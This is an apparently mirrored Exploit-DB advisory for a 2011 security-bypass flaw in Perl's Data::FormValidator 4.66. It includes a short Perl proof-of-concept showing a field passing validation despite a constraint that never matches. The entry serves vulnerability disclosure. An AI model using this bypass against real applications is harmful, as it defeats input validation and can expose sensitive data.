Lucene search

K
exploitdbDstEDB-ID:35836
HistoryJun 08, 2011 - 12:00 a.m.

Perl Data::FormValidator 4.66 Module - 'results()' Security Bypass

2011-06-0800:00:00
dst
www.exploit-db.com
13

AI Score

7.4

Confidence

Low

source: https://www.securityfocus.com/bid/48167/info

The Perl Data::FormValidator module is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and obtain potentially sensitive information.

Data::FormValidator 4.66 is vulnerable; other versions may also be affected.

#!/opt/perl/5.12/bin/perl

use strict;
use warnings;

use Data::FormValidator;

"some_unrelated_string" =~ m/^.*$/;

my $profile = {
untaint_all_constraints => 1,
required => [qw(a)],
constraint_methods => {
a => qr/will_never_match/,
},
};

my $results = Data::FormValidator->check({ a => 1 }, $profile);
warn $results->valid('a');

AI Score

7.4

Confidence

Low